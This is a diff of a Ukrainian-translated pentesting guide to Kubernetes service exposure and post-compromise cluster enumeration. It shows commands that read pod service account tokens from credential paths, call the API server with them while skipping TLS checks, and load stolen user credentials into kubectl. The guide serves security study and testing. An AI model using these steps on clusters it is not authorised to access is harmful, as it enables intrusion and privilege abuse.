||||
**ClusterIP** service — це **типовий** Kubernetes **service**. Він надає вам **service всередині** вашого кластеру, до якого можуть отримати доступ інші apps всередині вашого кластеру. **Зовнішнього доступу** немає.
|
||||
|
||||
Однак до неї можна отримати доступ за допомогою Kubernetes Proxy:
|
||||
Однак до нього можна отримати доступ через Kubernetes Proxy:
|
||||
```bash
|
||||
kubectl proxy --port=8080
|
||||
```
|
||||
Тепер ви можете переходити через Kubernetes API, щоб отримати доступ до сервісів, використовуючи цю схему:
|
||||
Тепер ви можете переміщатися через Kubernetes API, щоб отримувати доступ до services, використовуючи таку схему:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
|
||||
|
||||
Наприклад, ви можете використовувати наступне URL:
|
||||
Наприклад, ви можете використати такий URL:
|
||||
|
||||
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
|
||||
|
||||
щоб отримати доступ до цього сервісу:
|
||||
щоб отримати доступ до цього service:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -50,21 +50,21 @@ port: 80
|
||||
targetPort: 80
|
||||
protocol: TCP
|
||||
```
|
||||
_Цей метод вимагає, щоб ви запускали `kubectl` як **авторизований користувач**._
|
||||
_Цей метод вимагає, щоб ви запускали `kubectl` як **автентифікований користувач**._
|
||||
|
||||
Список всіх ClusterIPs:
|
||||
Перелічіть усі ClusterIPs:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
|
||||
```
|
||||
### NodePort
|
||||
|
||||
Коли використовується **NodePort**, призначений порт стає доступним на всіх вузлах (які представляють віртуальні машини). **Трафік**, спрямований на цей конкретний порт, систематично **перенаправляється на сервіс**. Зазвичай цей метод не рекомендується через його недоліки.
|
||||
Коли використовується **NodePort**, на всіх Nodes (що представляють Virtual Machines) відкривається призначений порт. **Traffic**, спрямований на цей конкретний порт, далі **route to the service**. Зазвичай цей метод не рекомендується через його недоліки.
|
||||
|
||||
Список усіх NodePort:
|
||||
Перелічити всі NodePorts:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
|
||||
```
|
||||
Приклад специфікації NodePort:
|
||||
Приклад specification NodePort:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -81,28 +81,30 @@ targetPort: 80
|
||||
nodePort: 30036
|
||||
protocol: TCP
|
||||
```
|
||||
Якщо ви **не вкажете** **nodePort** у yaml (це порт, який буде відкритий), буде використано порт у **діапазоні 30000–32767**.
|
||||
Якщо ви **не вказуєте** **nodePort** у yaml (це порт, який буде відкрито), буде використано порт у **діапазоні 30000–32767**.
|
||||
|
||||
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
|
||||
### LoadBalancer
|
||||
|
||||
Відкриває Сервіс зовні **за допомогою балансувальника навантаження постачальника хмари**. У GKE це запустить [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/), який надасть вам одну IP-адресу, що буде пересилати весь трафік до вашого сервісу. У AWS це запустить Load Balancer.
|
||||
Публікує Service назовні **з використанням load balancer хмарного провайдера**. У GKE це підніме [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/), який надасть вам одну IP-адресу та перенаправлятиме весь трафік до вашого service. В AWS це запустить Load Balancer.
|
||||
|
||||
Вам потрібно платити за LoadBalancer за кожен відкритий сервіс, що може бути дорого.
|
||||
За кожен exposed service з LoadBalancer потрібно платити, що може бути дорого.
|
||||
|
||||
Список усіх LoadBalancers:
|
||||
```bash
|
||||
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
|
||||
```
|
||||
### External IPs <a href="#external-ips" id="external-ips"></a>
|
||||
### External IPs
|
||||
|
||||
> [!TIP]
|
||||
> Зовнішні IP-адреси відкриті службами типу Load Balancers і зазвичай використовуються, коли використовується зовнішній Cloud Provider Load Balancer.
|
||||
> External IPs exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.
|
||||
>
|
||||
> Щоб їх знайти, перевірте навантажувачі з значеннями в полі `EXTERNAL-IP`.
|
||||
> For finding them, check for load balancers with values in the `EXTERNAL-IP` field.
|
||||
|
||||
Трафік, який входить у кластер з **зовнішнім IP** (як **цільовий IP**), на порту служби, буде **направлений на одну з кінцевих точок служби**. `externalIPs` не керуються Kubernetes і є відповідальністю адміністратора кластера.
|
||||
Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator.
|
||||
|
||||
У специфікації служби `externalIPs` можуть бути вказані разом з будь-яким з `ServiceTypes`. У наведеному нижче прикладі, "`my-service`" може бути доступний клієнтами на "`80.11.12.10:80`" (`externalIP:port`)
|
||||
`externalIPs` is a sensitive route-control field because a user who can set it might claim traffic for an IP address the Service owner should not control if the surrounding network routes that IP to the cluster. Kubernetes announced the deprecation and planned removal of Service `externalIPs` in v1.36, so prefer controller-owned exposure mechanisms such as LoadBalancer integrations or Gateway API where possible, and restrict/admit this field carefully while it still exists.
|
||||
|
||||
In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`)
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -121,9 +123,9 @@ externalIPs:
|
||||
```
|
||||
### ExternalName
|
||||
|
||||
[**З документації:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Сервіси типу ExternalName **відображають Сервіс на DNS-ім'я**, а не на типовий селектор, такий як `my-service` або `cassandra`. Ви вказуєте ці Сервіси за допомогою параметра `spec.externalName`.
|
||||
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Сервіси типу ExternalName **map a Service to a DNS name**, а не до типового selector, такого як `my-service` або `cassandra`. Ви вказуєте ці Services за допомогою параметра `spec.externalName`.
|
||||
|
||||
Це визначення Сервісу, наприклад, відображає Сервіс `my-service` в просторі імен `prod` на `my.database.example.com`:
|
||||
Ось, наприклад, це визначення Service maps `my-service` Service у namespace `prod` до `my.database.example.com`:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
@@ -134,56 +136,95 @@ spec:
|
||||
type: ExternalName
|
||||
externalName: my.database.example.com
|
||||
```
|
||||
Коли ви шукаєте хост `my-service.prod.svc.cluster.local`, служба DNS кластера повертає запис `CNAME` зі значенням `my.database.example.com`. Доступ до `my-service` працює так само, як і з іншими службами, але з важливою різницею, що **перенаправлення відбувається на рівні DNS**, а не через проксування або пересилання.
|
||||
Під час пошуку хоста `my-service.prod.svc.cluster.local`, cluster DNS Service повертає запис `CNAME` зі значенням `my.database.example.com`. Доступ до `my-service` працює так само, як і до інших Services, але з важливою відмінністю: **redirecting відбувається на рівні DNS**, а не через proxying або forwarding.
|
||||
|
||||
Перерахуйте всі ExternalNames:
|
||||
List all ExternalNames:
|
||||
```bash
|
||||
kubectl get services --all-namespaces | grep ExternalName
|
||||
```
|
||||
### EndpointSlices
|
||||
|
||||
EndpointSlices показують конкретні backend-адреси та порти, на які Service наразі маршрутизує трафік. Вони особливо корисні, коли Service не має selector, коли labels не пояснюють шлях трафіку, або коли готові лише деякі backend-и.
|
||||
|
||||
Перелічіть EndpointSlices, пов’язані з Services:
|
||||
```bash
|
||||
kubectl get endpointslices --all-namespaces
|
||||
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> -o yaml
|
||||
kubectl get endpointslice -n <namespace> -l kubernetes.io/service-name=<service-name> \
|
||||
-o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port'
|
||||
```
|
||||
Під час перевірки exposure порівнюйте Service selector з EndpointSlice `targetRef`, endpoint addresses, readiness conditions і ports. Service без selector може бути пов’язаний із вручну керованими EndpointSlices і спрямовувати traffic до не-Pod або неочікуваних destinations.
|
||||
|
||||
### Ingress
|
||||
|
||||
На відміну від усіх наведених вище прикладів, **Ingress НЕ є типом служби**. Натомість, він знаходиться **попереду кількох служб і діє як “розумний маршрутизатор”** або точка входу у ваш кластер.
|
||||
На відміну від усіх наведених вище прикладів, **Ingress — це НЕ тип service**. Натомість він стоїть **перед кількома services і діє як “smart router”** або entrypoint у ваш cluster.
|
||||
|
||||
Ви можете робити багато різних речей з Ingress, і існує **багато типів контролерів Ingress, які мають різні можливості**.
|
||||
Ви можете робити з Ingress багато різних речей, і існує **багато типів Ingress controllers, які мають різні capabilities**.
|
||||
|
||||
Контролер Ingress за замовчуванням GKE створить для вас [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Це дозволить вам здійснювати маршрутизацію як на основі шляху, так і на основі піддомену до бекенд-служб. Наприклад, ви можете надіслати все на foo.yourdomain.com до служби foo, а все під шляхом yourdomain.com/bar/ до служби bar.
|
||||
Default GKE ingress controller запустить для вас [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Це дасть змогу робити routing на backend services як на основі path, так і на основі subdomain. Наприклад, ви можете спрямувати все на foo.yourdomain.com до foo service, а все під path yourdomain.com/bar/ — до bar service.
|
||||
|
||||
YAML для об'єкта Ingress на GKE з [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) може виглядати так:
|
||||
YAML для об’єкта Ingress у GKE з [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) може виглядати так:
|
||||
```yaml
|
||||
apiVersion: extensions/v1beta1
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: Ingress
|
||||
metadata:
|
||||
name: my-ingress
|
||||
spec:
|
||||
backend:
|
||||
serviceName: other
|
||||
servicePort: 8080
|
||||
defaultBackend:
|
||||
service:
|
||||
name: other
|
||||
port:
|
||||
number: 8080
|
||||
rules:
|
||||
- host: foo.mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- backend:
|
||||
serviceName: foo
|
||||
servicePort: 8080
|
||||
- path: /
|
||||
pathType: Prefix
|
||||
backend:
|
||||
service:
|
||||
name: foo
|
||||
port:
|
||||
number: 8080
|
||||
- host: mydomain.com
|
||||
http:
|
||||
paths:
|
||||
- path: /bar/*
|
||||
- path: /bar
|
||||
pathType: Prefix
|
||||
backend:
|
||||
serviceName: bar
|
||||
servicePort: 8080
|
||||
service:
|
||||
name: bar
|
||||
port:
|
||||
number: 8080
|
||||
```
|
||||
Список всіх вхідних точок:
|
||||
Перелічіть усі ingresses:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
|
||||
```
|
||||
Хоча в цьому випадку краще отримувати інформацію про кожен окремо, щоб легше її читати:
|
||||
Хоча в цьому випадку краще отримати інформацію про кожен по одному, щоб читати її легше:
|
||||
```bash
|
||||
kubectl get ingresses --all-namespaces -o=yaml
|
||||
```
|
||||
### Посилання
|
||||
### Gateway API
|
||||
|
||||
Gateway API — це новіший Kubernetes API для exposure Services. Він розділяє infrastructure-owned Gateway objects від application-owned Route objects, таких як HTTPRoute. Це корисно для delegation, але також означає, що exposure може бути розподілений між namespaces.
|
||||
|
||||
List Gateway API exposure objects:
|
||||
```bash
|
||||
kubectl get gatewayclasses
|
||||
kubectl get gateways --all-namespaces
|
||||
kubectl get httproutes --all-namespaces
|
||||
kubectl get gateway -n <namespace> <gateway-name> -o yaml
|
||||
kubectl get httproute -n <namespace> <route-name> -o yaml
|
||||
```
|
||||
Перевірте Gateway listeners, дозволені namespaces маршрутів, `parentRefs` Route, hostnames, filters, backend references і status conditions, наприклад, чи route було accepted. Route, який accepted спільним Gateway, може expose backend навіть тоді, коли не існує legacy Ingress object.
|
||||
|
||||
### References
|
||||
|
||||
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
|
||||
- [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/)
|
||||
- [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/)
|
||||
- [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
Якщо ви отримали доступ до машини, користувач може мати доступ до деякої платформи Kubernetes. Токен зазвичай знаходиться у файлі, на який вказує **env var `KUBECONFIG`** або **всередині `~/.kube`**.
|
||||
Якщо ви скомпрометували доступ до машини, користувач може мати доступ до певної Kubernetes platform. Token зазвичай знаходиться у файлі, на який вказує **env var `KUBECONFIG`** або **всередині `~/.kube`**.
|
||||
|
||||
У цій папці ви можете знайти конфігураційні файли з **токенами та конфігураціями для підключення до API сервера**. У цій папці також можна знайти кеш-папку з інформацією, яка була отримана раніше.
|
||||
У цій теці ви можете знайти config files з **tokens і configurations для підключення до API server**. У цій теці ви також можете знайти cache folder з інформацією, отриманою раніше.
|
||||
|
||||
Якщо ви отримали доступ до поду всередині середовища kubernetes, є й інші місця, де ви можете знайти токени та інформацію про поточне середовище K8:
|
||||
Якщо ви скомпрометували pod всередині kubernetes environment, є й інші місця, де можна знайти tokens і інформацію про поточний K8 env:
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
Перед тим, як продовжити, якщо ви не знаєте, що таке сервіс у Kubernetes, я б порадив вам **перейти за цим посиланням і прочитати принаймні інформацію про архітектуру Kubernetes.**
|
||||
Перш ніж продовжити, якщо ви не знаєте, що таке service у Kubernetes, я б радив вам **follow this link and read at least the information about Kubernetes architecture.**
|
||||
|
||||
Витягнуто з [документації Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
Взято з Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
|
||||
_“Коли ви створюєте под, якщо ви не вказуєте обліковий запис служби, він автоматично призначається_ за замовчуванням _обліковому запису служби в тому ж просторі імен.”_
|
||||
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
|
||||
|
||||
**ServiceAccount** - це об'єкт, яким керує Kubernetes і який використовується для надання ідентичності для процесів, що виконуються в поді.\
|
||||
Кожен обліковий запис служби має секрет, пов'язаний з ним, і цей секрет містить токен доступу. Це JSON Web Token (JWT), метод для безпечного представлення вимог між двома сторонами.
|
||||
**ServiceAccount** — це object, яким керує Kubernetes і який використовується для надання identity процесам, що працюють у pod.\
|
||||
Кожен service account має пов’язаний із ним secret, і цей secret містить bearer token. Це JSON Web Token (JWT), method для безпечного представлення claims між двома сторонами.
|
||||
|
||||
Зазвичай **один** з каталогів:
|
||||
Зазвичай **одна** з тек:
|
||||
|
||||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||
@@ -29,61 +29,61 @@ _“Коли ви створюєте под, якщо ви не вказуєте
|
||||
|
||||
містить файли:
|
||||
|
||||
- **ca.crt**: Це сертифікат ca для перевірки комунікацій kubernetes
|
||||
- **namespace**: Він вказує на поточний простір імен
|
||||
- **token**: Він містить **токен служби** поточного поду.
|
||||
- **ca.crt**: Це ca certificate для перевірки kubernetes communications
|
||||
- **namespace**: Вказує поточний namespace
|
||||
- **token**: Містить **service token** поточного pod.
|
||||
|
||||
Тепер, коли у вас є токен, ви можете знайти API сервер всередині змінної середовища **`KUBECONFIG`**. Для отримання додаткової інформації виконайте `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
Тепер, коли у вас є token, ви можете знайти API server всередині environment variable **`KUBECONFIG`**. Для отримання додаткової інформації запустіть `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
|
||||
Токен облікового запису служби підписується ключем, що знаходиться у файлі **sa.key**, і перевіряється за допомогою **sa.pub**.
|
||||
Service account token підписується ключем, що знаходиться у файлі **sa.key**, і валідується через **sa.pub**.
|
||||
|
||||
Типове місце розташування на **Kubernetes**:
|
||||
Default location on **Kubernetes**:
|
||||
|
||||
- /etc/kubernetes/pki
|
||||
|
||||
Типове місце розташування на **Minikube**:
|
||||
Default location on **Minikube**:
|
||||
|
||||
- /var/lib/localkube/certs
|
||||
|
||||
### Hot Pods
|
||||
|
||||
_**Гарячі поди**_ - це поди, що містять токен облікового запису служби з привілегіями. Токен облікового запису служби з привілегіями - це токен, який має дозвіл на виконання привілейованих завдань, таких як перерахування секретів, створення подів тощо.
|
||||
_**Hot pods are**_ pods, що містять privileged service account token. Privileged service account token — це token, який має permission виконувати privileged tasks, такі як перелік secrets, створення pods тощо.
|
||||
|
||||
## RBAC
|
||||
|
||||
Якщо ви не знаєте, що таке **RBAC**, **прочитайте цей розділ**.
|
||||
Якщо ви не знаєте, що таке **RBAC**, **read this section**.
|
||||
|
||||
## GUI Applications
|
||||
|
||||
- **k9s**: GUI, який перераховує кластер kubernetes з терміналу. Перевірте команди в [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Напишіть `:namespace` і виберіть всі, щоб потім шукати ресурси у всіх просторах імен.
|
||||
- **k8slens**: Пропонує кілька безкоштовних днів пробного періоду: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
- **k9s**: GUI, що enumerates kubernetes cluster з terminal. Перевірте commands у [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Введіть `:namespace` і виберіть all, щоб потім шукати resources в усіх namespaces.
|
||||
- **k8slens**: Вона пропонує кілька безкоштовних trial days: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
Щоб перерахувати середовище K8, вам потрібно кілька з цього:
|
||||
Щоб enumerate K8s environment, вам потрібно кілька речей:
|
||||
|
||||
- **дійсний токен аутентифікації**. У попередньому розділі ми бачили, де шукати токен користувача та токен облікового запису служби.
|
||||
- **адреса (**_**https://host:port**_**) API Kubernetes**. Це зазвичай можна знайти у змінних середовища та/або у файлі конфігурації kube.
|
||||
- **Необов'язково**: **ca.crt для перевірки API сервера**. Це можна знайти в тих же місцях, де можна знайти токен. Це корисно для перевірки сертифіката API сервера, але використовуючи `--insecure-skip-tls-verify` з `kubectl` або `-k` з `curl`, вам не знадобиться це.
|
||||
- **valid authentication token**. У попередньому розділі ми бачили, де шукати user token і service account token.
|
||||
- **address (**_**https://host:port**_**) of the Kubernetes API**. Його зазвичай можна знайти в environment variables та/або у kube config file.
|
||||
- **Optional**: **ca.crt to verify the API server**. Його можна знайти в тих самих місцях, де можна знайти token. Це корисно для перевірки certificate API server, але використовуючи `--insecure-skip-tls-verify` з `kubectl` або `-k` з `curl`, вам це не знадобиться.
|
||||
|
||||
З цими деталями ви можете **перерахувати kubernetes**. Якщо **API** з якоїсь причини **доступний** через **Інтернет**, ви можете просто завантажити цю інформацію та перерахувати платформу з вашого хоста.
|
||||
Маючи ці деталі, ви можете **enumerate kubernetes**. Якщо **API** з якоїсь причини **accessible** через **Internet**, ви можете просто завантажити цю інформацію та enumerate platform зі своєї host.
|
||||
|
||||
Однак зазвичай **API сервер знаходиться всередині внутрішньої мережі**, тому вам потрібно буде **створити тунель** через скомпрометовану машину, щоб отримати доступ до нього з вашої машини, або ви можете **завантажити** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) бінарний файл або використовувати **`curl/wget/anything`** для виконання сирих HTTP запитів до API сервера.
|
||||
Однак зазвичай **API server знаходиться у внутрішній network**, тому вам потрібно буде **create a tunnel** через скомпрометовану машину, щоб отримати доступ до нього зі своєї машини, або ви можете **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, або використати **`curl/wget/anything`** для виконання raw HTTP requests до API server.
|
||||
|
||||
### Differences between `list` and `get` verbs
|
||||
|
||||
З **`get`** дозволами ви можете отримувати інформацію про конкретні активи (_`describe` опція в `kubectl`_) API:
|
||||
З **`get`** permissions ви можете отримати інформацію про конкретні assets (_`describe` option in `kubectl`_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
Якщо у вас є дозвіл **`list`**, ви маєте право виконувати API запити для переліку типу активу (_`get` опція в `kubectl`_):
|
||||
Якщо у вас є permission **`list`**, вам дозволено виконувати API requests для переліку типу asset (_`get` option in `kubectl`_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
Якщо у вас є **`watch`** дозвіл, ви маєте право виконувати API запити для моніторингу активів:
|
||||
Якщо у вас є дозвіл **`watch`**, вам дозволено виконувати API-запити для моніторингу assets:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
```
|
||||
Вони відкривають стрімінгове з'єднання, яке повертає вам повний маніфест Deployment щоразу, коли він змінюється (або коли створюється новий).
|
||||
Вони відкривають streaming connection, що повертає вам повний manifest Deployment щоразу, коли він змінюється (або коли створюється новий).
|
||||
|
||||
> [!CAUTION]
|
||||
> Наступні команди `kubectl` вказують лише на те, як перерахувати об'єкти. Якщо ви хочете отримати доступ до даних, вам потрібно використовувати `describe` замість `get`
|
||||
> Наведені далі команди `kubectl` лише показують, як list об'єкти. Якщо ви хочете отримати доступ до даних, вам потрібно використовувати `describe` замість `get`
|
||||
|
||||
### Використання curl
|
||||
### Using curl
|
||||
|
||||
Зсередини поду ви можете використовувати кілька змінних середовища:
|
||||
Зсередини pod ви можете використовувати кілька env variables:
|
||||
```bash
|
||||
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
|
||||
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
|
||||
@@ -109,23 +109,23 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
> [!WARNING]
|
||||
> За замовчуванням под може **доступатися** до **kube-api сервера** за доменним ім'ям **`kubernetes.default.svc`** і ви можете побачити kube мережу в **`/etc/resolv.config`**, оскільки тут ви знайдете адресу DNS сервера kubernetes (".1" того ж діапазону є кінцевою точкою kube-api).
|
||||
> За замовчуванням pod може **отримати доступ** до **kube-api server** у доменному імені **`kubernetes.default.svc`**, і ви можете побачити kube network у **`/etc/resolv.config`**, оскільки тут ви знайдете адресу kubernetes DNS server (".1" того ж діапазону — це kube-api endpoint).
|
||||
|
||||
### Використання kubectl
|
||||
|
||||
Маючи токен і адресу API сервера, ви використовуєте kubectl або curl для доступу до нього, як вказано тут:
|
||||
Маючи token і адресу API server, ви можете використовувати kubectl або curl для доступу до нього, як зазначено тут:
|
||||
|
||||
За замовчуванням, APISERVER спілкується з схемою `https://`
|
||||
За замовчуванням, APISERVER communicate з `https://` schema
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> якщо в URL немає `https://`, ви можете отримати помилку, схожу на Bad Request.
|
||||
> якщо в url немає `https://`, ви можете отримати Error типу Bad Request.
|
||||
|
||||
Ви можете знайти [**офіційний kubectl cheatsheet тут**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Мета наступних розділів - представити в упорядкованому вигляді різні варіанти для перерахунку та розуміння нового K8s, до якого ви отримали доступ.
|
||||
Ви можете знайти [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Мета наступних розділів — у впорядкованому вигляді показати різні варіанти для enumerate та зрозуміти новий K8s, до якого ви отримали доступ.
|
||||
|
||||
Щоб знайти HTTP-запит, який надсилає `kubectl`, ви можете використовувати параметр `-v=8`
|
||||
Щоб знайти HTTP request, який надсилає `kubectl`, ви можете використати параметр `-v=8`
|
||||
|
||||
#### MitM kubectl - Проксіювання kubectl
|
||||
#### MitM kubectl - Proxyfying kubectl
|
||||
```bash
|
||||
# Launch burp
|
||||
# Set proxy
|
||||
@@ -150,7 +150,7 @@ kubectl config set-context --current --namespace=<namespace>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Якщо вам вдалося вкрасти облікові дані деяких користувачів, ви можете **налаштувати їх локально** за допомогою чогось на зразок:
|
||||
Якщо вам вдалося вкрасти облікові дані деяких користувачів, ви можете **налаштувати їх локально** за допомогою чогось на кшталт:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
@@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \
|
||||
```
|
||||
### Отримати підтримувані ресурси
|
||||
|
||||
З цією інформацією ви дізнаєтеся про всі сервіси, які ви можете перерахувати
|
||||
З цією інформацією ви знатимете всі сервіси, які можна перелічити
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -174,7 +174,22 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Отримати поточні привілеї
|
||||
### Метадані об’єкта, які варто перевірити
|
||||
|
||||
Коли ви можете читати об’єкт, експортуйте повний YAML або JSON замість того, щоб покладатися лише на табличний вивід або `describe`. Найкорисніший security context часто міститься в загальних полях об’єкта, які існують у багатьох типах ресурсів:
|
||||
```bash
|
||||
kubectl get pod <pod> -n <ns> -o yaml
|
||||
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
|
||||
```
|
||||
- `metadata.uid`, `name`, `namespace`, `apiVersion` і `kind` ідентифікують точний об’єкт і допомагають уникнути плутанини між об’єктами з однаковою назвою в різних namespaces або API groups.
|
||||
- `metadata.labels` і selectors з’єднують Services, Deployments, ReplicaSets, Pods, NetworkPolicies та automation. Відстеження selectors часто є найшвидшим способом визначити реальні backend pods для Service.
|
||||
- `metadata.annotations` можуть витікати operational context, наприклад ingress behavior, cloud load balancer settings, GitOps або Helm metadata, policy exemptions і service mesh configuration. Вони не повинні містити secrets, але реальні clusters часто розкривають там корисні підказки.
|
||||
- `metadata.ownerReferences` показує controller lineage. Якщо Pod належить ReplicaSet, який належить Deployment, зміна або видалення лише Pod зазвичай не усуває джерело.
|
||||
- `metadata.finalizers` і `metadata.deletionTimestamp` пояснюють resources, що застрягли під час deletion, і можуть reveal cleanup controllers або persistence/disruption tricks.
|
||||
- `status`, Events і conditions можуть reveal node placement, pod IPs, image IDs, failure messages, scheduling issues, admission denials і controller progress. Це корисні clues, але audit logs усе ще потрібні, щоб довести, хто виконав дію.
|
||||
|
||||
### Get Current Privileges
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
@@ -197,15 +212,15 @@ kurl -i -s -k -X $'POST' \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Інший спосіб перевірити свої привілеї - це використання інструменту: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
Інший спосіб перевірити свої privileges — використати tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
|
||||
Ви можете дізнатися більше про **Kubernetes RBAC** в:
|
||||
Дізнатися більше про **Kubernetes RBAC** можна тут:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
**Якщо ви знаєте, які привілеї** у вас є, перевірте наступну сторінку, щоб з'ясувати, **чи можете ви їх зловживати** для ескалації привілеїв:
|
||||
